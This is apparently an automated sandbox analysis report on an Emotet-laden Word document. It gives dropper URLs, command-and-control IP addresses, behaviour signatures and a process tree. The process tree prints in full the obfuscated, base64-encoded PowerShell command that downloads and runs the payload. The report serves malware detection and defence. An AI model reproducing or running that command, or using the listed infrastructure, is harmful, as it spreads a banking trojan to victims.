Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    21/10/2020, 17:20

General

  • Target
    BAL_KKR_100120_SNX_102120.doc
  • Size 198KB
  • Sample201021-dfcl593asx
  • SHA256 6d7d78e135f7db247a786da7df5ef99d0acbe8f8f5adf65b13be91bf87655279
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://www.aspensnowmasswebcam.com/wp-admin/SC6c2o/

  • exe.dropper

    https://ticket1st.com/wp-includes/98Zkfi/

  • exe.dropper

    https://www.eyebrowandme.com/cgi-bin/3NN/

  • exe.dropper

    http://newsfocus123.com/96kaifa/cc1/

  • exe.dropper

    https://dev.muzigal.com/cron/Mdn/

  • exe.dropper

    http://www.dehateet.com/wp-admin/Gqg0Ma/

  • exe.dropper

    http://keithdougherty.com/wp-includes/Yen85/

  • exe.dropper

    http://nurseprizes.com/wp-includes/hS/

Extracted

Family
  • emotet

Botnet
  • Epoch2

C2
  • 24.178.90.49:80

  • 96.126.101.6:8080

  • 5.196.108.185:8080

  • 167.114.153.111:8080

  • 61.19.246.238:443

  • 2.58.16.89:8080

  • 49.50.209.131:80

  • 120.150.218.241:443

  • 137.59.187.107:8080

  • 96.245.227.43:80

  • 209.54.13.14:80

  • 190.29.166.0:80

  • 69.206.132.149:80

  • 41.185.28.84:8080

  • 37.187.72.193:8080

  • 24.230.141.169:80

  • 194.4.58.192:7080

  • 104.131.11.150:443

  • 62.171.142.179:8080

  • 75.143.247.51:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_KKR_100120_SNX_102120.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3044
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAHMARQB0ACAAIAAoACIAOQB4AFIAMQAiACsAIgBBACIAKQAgACAAKAAgACAAWwB0AFkAcABlAF0AKAAiAHsAMgB9AHsAMQB9AHsANQB9AHsAMAB9AHsANAB9AHsAMwB9ACIAIAAtAGYAIAAnAGkATwAuAGQAJwAsACcAVABlAG0AJwAsACcAUwB5AHMAJwAsACcAUgBFAEMAVABvAFIAWQAnACwAJwBpACcALAAnAC4AJwApACAAKQAgACAAOwAgACAAJABmADIAeQBjAFAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMQB9AHsAMwB9AHsAMgB9AHsANAB9AHsAMAB9AHsANQB9ACIAIAAtAEYAIAAnAFQAbQBhACcALAAnAFMAWQBzACcALAAnAEUAJwAsACcAdABFAG0ALgBuAEUAdAAuAHMARQByAFYASQBjACcALAAnAHAAbwBpAE4AJwAsACcAbgBBAEcAZQBSACcAKQAgADsAJABWAGIAYgBfAGoAaQBwAD0AKAAoACcAWgAnACsAJwBwAGYAagAnACsAJwBrAF8AJwApACsAJwBwACcAKQA7ACQAWgBvADIAawAzADgAbQA9ACQARQB4ADgAagBmAHAAbgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVgB2AHMAZAB5AHkAYgA7ACQAQQBnAHIAMgA2AG4AeAA9ACgAJwBQACcAKwAnAG4AJwArACgAJwAyAHMAZABxACcAKwAnAGIAJwApACkAOwAgACAAKABnAEkAIAAgACgAJwB2ACcAKwAnAGEAJwArACcAcgBpAGEAQgBMAGUAOgA5AFgAcgAnACsAJwAxAGEAJwApACkALgBWAEEAbAB1AEUAOgA6ACIAYwBSAEUAQQB0AGUAZABgAGkAcgBlAGAAQwBUAG8AYABSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAJwBSACcAKwAnAF8AYwAnACsAJwB6ACcAKwAnADgAaQB6AHsAMAB9ACcAKwAoACcATwAyADYAJwArACcAbwAzAGwAJwApACsAJwBvAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMAaABhAHIAXQA5ADIAKQApADsAJABJADIAaQBmAG8AZgBwAD0AKAAoACcAUgBmACcAKwAnAGcAegAnACkAKwAoACcAMgAnACsAJwBsAGIAJwApACkAOwAgACAAKAAgAGcARQB0AC0AYwBIAEkAbABEAEkAdABFAG0AIAB2AGEAUgBpAEEAQgBMAEUAOgBGADIAWQBDAHAAIAApAC4AdgBhAEwAdQBlADoAOgAiAFMAZQBjAHUAYABSAGAASQBUAFkAcAByAE8AVABgAE8AQwBgAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgByAGkAZABzAHoAagA9ACgAKAAnAEEAcwAnACsAJwB5ACcAKQArACcAMwB6ACcAKwAnADYANAAnACkAOwAkAEEAcwB0AHUAaQBoAGUAIAA9ACAAKAAoACcATwAnACsAJwA4ADQAOABwACcAKQArACcAOAAnACsAJwBrACcAKQA7ACQAVABjAGMAMQBnADAAeQA9ACgAKAAnAEkAcAAnACsAJwBmAHcAJwApACsAJwBoADkAJwArACcAZAAnACkAOwAkAE4AcQBmADgAcgB4ADEAPQAoACcASgAnACsAKAAnADQAZgAnACsAJwA2AHQAZgAnACkAKwAnADgAJwApADsAJABGAGEAaQBmAHgAYgBqAD0AJABIAE8ATQBFACsAKAAoACcAdgAnACsAKAAnAFMAVABSACcAKwAnAF8AYwB6ADgAJwArACcAaQB6AHYAUwBUACcAKQArACgAJwBPADIANgBvACcAKwAnADMAbAAnACkAKwAoACcAbwB2ACcAKwAnAFMAVAAnACkAKQAtAEMAUgBlAFAAbABhAEMARQAgACAAKAAnAHYAUwAnACsAJwBUACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABBAHMAdAB1AGkAaABlACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQARgBuAG4AcQB4AHQAdwA9ACgAKAAnAFYAJwArACcAbgByAGoAMQAnACkAKwAnAGgAZwAnACkAOwAkAEIAXwBpAGsAMQBmAG8APQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAEIAYwBsAGkAZQBOAFQAOwAkAEoANQA5ADcAOABsADcAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwBzADoAJwArACcAPQAnACkAKwAoACcAWQAzAG4AawAnACsAJwBPAHMAPQAnACsAJwBZADMAbgBrACcAKwAnAE8AcwAnACsAJwB3ACcAKQArACcAdwB3ACcAKwAoACcALgAnACsAJwBhAHMAcABlACcAKwAnAG4AcwBuAG8AJwArACcAdwBtAGEAcwBzACcAKwAnAHcAJwApACsAKAAnAGUAYgBjAGEAbQAuACcAKwAnAGMAbwBtAD0AWQAnACsAJwAzACcAKwAnAG4AawAnACsAJwBPACcAKwAnAHMAdwBwAC0AYQAnACsAJwBkAG0AaQBuAD0AWQAnACsAJwAzAG4AJwArACcAawBPAHMAUwAnACkAKwAoACcAQwA2ACcAKwAnAGMAMgAnACkAKwAnAG8AJwArACgAJwA9AFkAMwAnACsAJwBuACcAKQArACgAJwBrAE8AcwAnACsAJwBAAGgAdAAnACsAJwB0AHAAcwAnACkAKwAoACcAOgA9AFkAMwAnACsAJwBuACcAKwAnAGsATwAnACkAKwAoACcAcwA9AFkAJwArACcAMwAnACkAKwAnAG4AawAnACsAKAAnAE8AcwAnACsAJwB0AGkAYwAnACsAJwBrACcAKQArACcAZQAnACsAKAAnAHQAMQBzACcAKwAnAHQALgBjAG8AJwArACcAbQAnACkAKwAoACcAPQBZADMAJwArACcAbgBrACcAKQArACgAJwBPAHMAJwArACcAdwAnACkAKwAoACcAcAAtAGkAJwArACcAbgBjAGwAdQAnACkAKwAnAGQAJwArACgAJwBlAHMAPQAnACsAJwBZADMAbgAnACsAJwBrACcAKwAnAE8AcwAnACkAKwAoACcAOQAnACsAJwA4AFoAJwArACcAawBmAGkAPQBZADMAbgBrACcAKwAnAE8AcwBAACcAKQArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAHMAJwApACsAKAAnADoAPQBZACcAKwAnADMAbgAnACkAKwAnAGsATwAnACsAKAAnAHMAPQAnACsAJwBZADMAJwArACcAbgBrAE8AcwB3ACcAKwAnAHcAdwAuAGUAJwApACsAKAAnAHkAJwArACcAZQBiAHIAJwApACsAKAAnAG8AdwBhAG4AJwArACcAZABtACcAKwAnAGUAJwApACsAJwAuAGMAJwArACgAJwBvACcAKwAnAG0APQBZADMAJwApACsAJwBuAGsAJwArACgAJwBPAHMAYwBnAGkALQBiACcAKwAnAGkAJwApACsAKAAnAG4APQAnACsAJwBZADMAbgAnACkAKwAnAGsAJwArACcATwBzACcAKwAoACcAMwAnACsAJwBOAE4APQBZADMAbgAnACsAJwBrACcAKwAnAE8AcwBAAGgAdAAnACsAJwB0AHAAOgAnACkAKwAnAD0AJwArACgAJwBZACcAKwAnADMAbgAnACsAJwBrACcAKwAnAE8AJwArACcAcwA9AFkAMwBuAGsATwBzAG4AJwApACsAJwBlAHcAJwArACgAJwBzAGYAbwBjAHUAJwArACcAcwAxACcAKQArACgAJwAyADMAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0APQAnACkAKwAnAFkAMwAnACsAKAAnAG4AawAnACsAJwBPACcAKQArACgAJwBzADkAJwArACcANgAnACsAJwBrAGEAaQBmAGEAJwApACsAJwA9AFkAJwArACcAMwBuACcAKwAoACcAawBPACcAKwAnAHMAJwApACsAKAAnAGMAJwArACcAYwAxAD0AWQAzAG4AawAnACsAJwBPAHMAQABoACcAKwAnAHQAdAAnACsAJwBwAHMAOgA9AFkAMwBuACcAKwAnAGsAJwApACsAJwBPACcAKwAoACcAcwA9AFkAJwArACcAMwBuAGsATwBzACcAKwAnAGQAJwArACcAZQAnACsAJwB2AC4AbQAnACkAKwAoACcAdQB6AGkAJwArACcAZwBhACcAKQArACgAJwBsAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAD0AWQAzAG4AJwArACcAawAnACsAJwBPAHMAYwByAG8AJwApACsAJwBuAD0AJwArACgAJwBZADMAbgBrAE8AcwAnACsAJwBNACcAKwAnAGQAJwArACcAbgA9AFkAMwBuAGsAJwArACcATwBzAEAAaAB0ACcAKQArACgAJwB0AHAAOgA9ACcAKwAnAFkAMwBuACcAKQArACgAJwBrAE8AcwAnACsAJwA9AFkAJwApACsAKAAnADMAbgBrAE8AJwArACcAcwB3AHcAJwApACsAJwB3ACcAKwAoACcALgBkAGUAaABhACcAKwAnAHQAZQBlAHQAJwArACcALgAnACkAKwAoACcAYwBvAG0AJwArACcAPQBZADMAbgBrACcAKwAnAE8AcwB3AHAALQBhACcAKwAnAGQAbQBpAG4APQBZACcAKQArACgAJwAzACcAKwAnAG4AawAnACkAKwAoACcATwBzACcAKwAnAEcAcQBnACcAKwAnADAAJwApACsAKAAnAE0AJwArACcAYQA9AFkAMwAnACkAKwAoACcAbgBrACcAKwAnAE8AcwBAAGgAdAAnACkAKwAoACcAdABwADoAJwArACcAPQAnACkAKwAnAFkAMwAnACsAJwBuACcAKwAoACcAawBPACcAKwAnAHMAJwApACsAKAAnAD0AWQAzACcAKwAnAG4AawBPACcAKQArACcAcwBrACcAKwAoACcAZQBpACcAKwAnAHQAJwApACsAKAAnAGgAZABvAHUAZwBoACcAKwAnAGUAJwArACcAcgB0ACcAKQArACgAJwB5AC4AYwAnACsAJwBvACcAKQArACcAbQA9ACcAKwAoACcAWQAnACsAJwAzAG4AawBPACcAKQArACcAcwAnACsAKAAnAHcAcAAtAGkAbgBjAGwAdQAnACsAJwBkACcAKwAnAGUAcwAnACsAJwA9AFkAJwArACcAMwAnACkAKwAnAG4AawAnACsAKAAnAE8AJwArACcAcwBZAGUAbgAnACsAJwA4ADUAJwApACsAKAAnAD0AWQAzACcAKwAnAG4AJwApACsAJwBrACcAKwAnAE8AJwArACgAJwBzAEAAaAB0AHQAcAAnACsAJwA6ACcAKwAnAD0AWQAnACkAKwAnADMAbgAnACsAJwBrAE8AJwArACgAJwBzACcAKwAnAD0AWQAzACcAKQArACcAbgAnACsAKAAnAGsAJwArACcATwBzACcAKQArACcAbgAnACsAKAAnAHUAcgBzAGUAJwArACcAcAAnACkAKwAnAHIAJwArACgAJwBpACcAKwAnAHoAZQBzAC4AJwApACsAKAAnAGMAbwBtAD0AWQAzAG4AawAnACsAJwBPACcAKQArACcAcwB3ACcAKwAoACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAdQBkAGUAcwAnACkAKwAoACcAPQBZACcAKwAnADMAJwApACsAKAAnAG4AawAnACsAJwBPACcAKwAnAHMAaABTACcAKQArACcAPQBZACcAKwAnADMAbgAnACsAKAAnAGsATwAnACsAJwBzACcAKQApAC4AIgByAEUAYABwAEwAQQBgAGMAZQAiACgAKAAoACcAPQAnACsAJwBZADMAbgBrACcAKQArACcATwAnACsAJwBzACcAKQAsACcALwAnACkALgAiAFMAYABQAEwAaQBUACIAKAAkAFYAZwBvADAAMgBuAG8AIAArACAAJABaAG8AMgBrADMAOABtACAAKwAgACQASQBpAG4AbwA1ADUAMwApADsAJABOAHkAbwA2AHYAeQBfAD0AKAAnAFYAJwArACgAJwBkAGQAJwArACcAZABnACcAKQArACcAcQBlACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQA5AGwAZwBzAGYAbAAgAGkAbgAgACQASgA1ADkANwA4AGwANwApAHsAdAByAHkAewAkAEIAXwBpAGsAMQBmAG8ALgAiAEQAbwBXAGAATgBgAGwATwBhAEQARgBJAEwARQAiACgAJABVADkAbABnAHMAZgBsACwAIAAkAEYAYQBpAGYAeABiAGoAKQA7ACQAUQB0AGIAbgAyADkAMQA9ACgAKAAnAFoAagBkACcAKwAnAG8AJwApACsAKAAnAGcAaQAnACsAJwBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEYAYQBpAGYAeABiAGoAKQAuACIAbABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADkANgA4ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAJwArACgAJwBuACcAKwAnADMAMgBfACcAKQArACcAUAAnACsAKAAnAHIAbwBjAGUAcwAnACsAJwBzACcAKQApACkALgAiAEMAcgBgAGUAQQBgAFQAZQAiACgAJABGAGEAaQBmAHgAYgBqACkAOwAkAEgAMwBiADUAbABiAGYAPQAoACgAJwBMAGUAeQAnACsAJwBrAGsAJwApACsAJwA5ACcAKwAnADcAJwApADsAYgByAGUAYQBrADsAJABGADMAawA0AHAAcAB2AD0AKAAnAE8ANwAnACsAKAAnAG0AdQAnACsAJwB3ADMAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBzADcAegBjAG0AbAA9ACgAJwBXACcAKwAoACcAZwAnACsAJwBsADQAJwApACsAKAAnAGMAJwArACcAdgB5ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2560
  • C:\Users\Admin\R_cz8iz\O26o3lo\O848p8k.exe
    C:\Users\Admin\R_cz8iz\O26o3lo\O848p8k.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\SysWOW64\iscsidsc\xcopy.exe
      "C:\Windows\SysWOW64\iscsidsc\xcopy.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:764

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/764-22-0x0000000000630000-0x000000000064E000-memory.dmp

        memory/764-21-0x0000000000610000-0x000000000062F000-memory.dmp

        memory/2176-18-0x00000000005F0000-0x000000000060E000-memory.dmp

        memory/2176-17-0x00000000005D0000-0x00000000005EF000-memory.dmp

        memory/2560-13-0x000001E44EDD0000-0x000001E44EDD1000-memory.dmp

        memory/2560-14-0x000001E467500000-0x000001E467501000-memory.dmp

        memory/2560-12-0x00007FFBBB900000-0x00007FFBBC2EC000-memory.dmp

        memory/3044-0-0x00007FFBC2C00000-0x00007FFBC32C6000-memory.dmp

        memory/3044-11-0x00000264EDF5B000-0x00000264EDF6C000-memory.dmp

        memory/3044-10-0x00000264EDE09000-0x00000264EDE11000-memory.dmp

        memory/3044-9-0x00000264EDE09000-0x00000264EDE11000-memory.dmp

        memory/3044-8-0x00000264EDE09000-0x00000264EDE11000-memory.dmp

        memory/3044-7-0x00000264EBAD1000-0x00000264EBAD3000-memory.dmp

        memory/3044-1-0x00000264ED740000-0x00000264ED744000-memory.dmp